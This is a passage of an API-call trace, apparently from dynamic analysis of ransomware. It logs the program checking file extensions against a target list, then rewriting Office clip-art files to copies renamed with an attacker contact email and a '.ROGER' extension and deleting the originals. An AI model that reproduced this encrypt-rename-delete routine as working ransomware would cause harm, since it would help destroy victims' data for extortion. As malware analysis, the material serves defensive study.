(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0061.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.695] lstrlenW (lpString=".doc") returned 4 [0061.695] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.695] lstrlenW (lpString=".docx") returned 5 [0061.695] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.695] lstrlenW (lpString=".pdf") returned 4 [0061.695] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.695] lstrlenW (lpString=".xls") returned 4 [0061.695] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.695] lstrlenW (lpString=".xlsx") returned 5 [0061.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.695] lstrlenW (lpString=".ppt") returned 4 [0061.695] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.695] lstrlenW (lpString=".zip") returned 4 [0061.695] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.695] lstrlenW (lpString=".rar") returned 4 [0061.695] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.695] lstrlenW (lpString=".bz2") returned 4 [0061.695] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.695] lstrlenW (lpString=".7z") returned 3 [0061.698] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.698] lstrlenW (lpString=".dbf") returned 4 [0061.698] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.698] lstrlenW (lpString=".1cd") returned 4 [0061.698] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.698] lstrlenW (lpString=".jpg") returned 4 [0061.698] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.698] lstrlenW (lpString=".doc") returned 4 [0061.698] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.698] lstrlenW (lpString=".docx") returned 5 [0061.698] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.698] lstrlenW (lpString=".pdf") returned 4 [0061.698] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.698] lstrlenW (lpString=".xls") returned 4 [0061.698] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.698] lstrlenW (lpString=".xlsx") returned 5 [0061.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.698] lstrlenW (lpString=".ppt") returned 4 [0061.698] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.698] lstrlenW (lpString=".zip") returned 4 [0061.698] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.698] lstrlenW (lpString=".rar") returned 4 [0061.698] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.698] lstrlenW (lpString=".bz2") returned 4 [0061.698] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.698] lstrlenW (lpString=".7z") returned 3 [0061.698] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.698] lstrlenW (lpString=".dbf") returned 4 [0061.699] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.699] lstrlenW (lpString=".1cd") returned 4 [0061.699] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0061.699] lstrlenW (lpString=".jpg") returned 4 [0061.699] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.699] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0061.699] lstrlenW (lpString="BD10972_.GIF") returned 12 [0061.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.706] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=20189) returned 1 [0061.706] CloseHandle (hObject=0x368) returned 1 [0061.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0061.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.722] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.722] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.722] GetLastError () returned 0x0 [0061.722] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x4edd, lpOverlapped=0x0) returned 1 [0061.724] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0061.725] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.725] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.725] SetEndOfFile (hFile=0x338) returned 1 [0061.725] CloseHandle (hObject=0x338) returned 1 [0061.726] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.726] SetEndOfFile (hFile=0x368) returned 1 [0061.726] CloseHandle (hObject=0x368) returned 1 [0061.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0061.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.727] lstrlenW (lpString=".doc") returned 4 [0061.727] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.727] lstrlenW (lpString=".docx") returned 5 [0061.727] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.727] lstrlenW (lpString=".pdf") returned 4 [0061.727] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.727] lstrlenW (lpString=".xls") returned 4 [0061.727] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.727] lstrlenW (lpString=".xlsx") returned 5 [0061.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.727] lstrlenW (lpString=".ppt") returned 4 [0061.727] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.727] lstrlenW (lpString=".zip") returned 4 [0061.727] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.727] lstrlenW (lpString=".rar") returned 4 [0061.727] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.727] lstrlenW (lpString=".bz2") returned 4 [0061.727] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.727] lstrlenW (lpString=".7z") returned 3 [0061.727] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.727] lstrlenW (lpString=".dbf") returned 4 [0061.727] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.728] lstrlenW (lpString=".1cd") returned 4 [0061.728] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.728] lstrlenW (lpString=".jpg") returned 4 [0061.728] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.728] lstrlenW (lpString=".doc") returned 4 [0061.728] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.728] lstrlenW (lpString=".docx") returned 5 [0061.728] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.728] lstrlenW (lpString=".pdf") returned 4 [0061.728] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.728] lstrlenW (lpString=".xls") returned 4 [0061.728] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.728] lstrlenW (lpString=".xlsx") returned 5 [0061.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.728] lstrlenW (lpString=".ppt") returned 4 [0061.728] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.728] lstrlenW (lpString=".zip") returned 4 [0061.728] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.728] lstrlenW (lpString=".rar") returned 4 [0061.728] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.728] lstrlenW (lpString=".bz2") returned 4 [0061.728] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.728] lstrlenW (lpString=".7z") returned 3 [0061.728] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.728] lstrlenW (lpString=".dbf") returned 4 [0061.728] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.729] lstrlenW (lpString=".1cd") returned 4 [0061.729] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0061.729] lstrlenW (lpString=".jpg") returned 4 [0061.729] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.729] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.729] lstrlenW (lpString="BD19827_.WMF") returned 12 [0061.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.729] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=9710) returned 1 [0061.729] CloseHandle (hObject=0x368) returned 1 [0061.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0061.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.729] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.730] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.730] GetLastError () returned 0x0 [0061.730] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x25ee, lpOverlapped=0x0) returned 1 [0061.731] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0061.732] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.732] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.732] SetEndOfFile (hFile=0x338) returned 1 [0061.732] CloseHandle (hObject=0x338) returned 1 [0061.733] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.733] SetEndOfFile (hFile=0x368) returned 1 [0061.734] CloseHandle (hObject=0x368) returned 1 [0061.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0061.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.734] lstrlenW (lpString=".doc") returned 4 [0061.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.734] lstrlenW (lpString=".docx") returned 5 [0061.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.734] lstrlenW (lpString=".pdf") returned 4 [0061.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.734] lstrlenW (lpString=".xls") returned 4 [0061.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.734] lstrlenW (lpString=".xlsx") returned 5 [0061.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.734] lstrlenW (lpString=".ppt") returned 4 [0061.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.734] lstrlenW (lpString=".zip") returned 4 [0061.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.735] lstrlenW (lpString=".rar") returned 4 [0061.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.735] lstrlenW (lpString=".bz2") returned 4 [0061.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.735] lstrlenW (lpString=".7z") returned 3 [0061.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.735] lstrlenW (lpString=".dbf") returned 4 [0061.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.735] lstrlenW (lpString=".1cd") returned 4 [0061.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.735] lstrlenW (lpString=".jpg") returned 4 [0061.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.735] lstrlenW (lpString=".doc") returned 4 [0061.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.735] lstrlenW (lpString=".docx") returned 5 [0061.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.735] lstrlenW (lpString=".pdf") returned 4 [0061.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.735] lstrlenW (lpString=".xls") returned 4 [0061.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.735] lstrlenW (lpString=".xlsx") returned 5 [0061.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.735] lstrlenW (lpString=".ppt") returned 4 [0061.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.735] lstrlenW (lpString=".zip") returned 4 [0061.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.735] lstrlenW (lpString=".rar") returned 4 [0061.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.736] lstrlenW (lpString=".bz2") returned 4 [0061.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.736] lstrlenW (lpString=".7z") returned 3 [0061.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.736] lstrlenW (lpString=".dbf") returned 4 [0061.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.736] lstrlenW (lpString=".1cd") returned 4 [0061.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0061.736] lstrlenW (lpString=".jpg") returned 4 [0061.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.736] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.736] lstrlenW (lpString="BD19828_.WMF") returned 12 [0061.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.736] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=8772) returned 1 [0061.736] CloseHandle (hObject=0x368) returned 1 [0061.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0061.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.737] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.737] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.737] GetLastError () returned 0x0 [0061.737] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x2244, lpOverlapped=0x0) returned 1 [0061.739] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x2250, lpOverlapped=0x0) returned 1 [0061.739] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.739] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.740] SetEndOfFile (hFile=0x338) returned 1 [0061.740] CloseHandle (hObject=0x338) returned 1 [0061.740] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.740] SetEndOfFile (hFile=0x368) returned 1 [0061.741] CloseHandle (hObject=0x368) returned 1 [0061.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0061.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.741] lstrlenW (lpString=".doc") returned 4 [0061.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.741] lstrlenW (lpString=".docx") returned 5 [0061.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.741] lstrlenW (lpString=".pdf") returned 4 [0061.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.741] lstrlenW (lpString=".xls") returned 4 [0061.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.741] lstrlenW (lpString=".xlsx") returned 5 [0061.741] 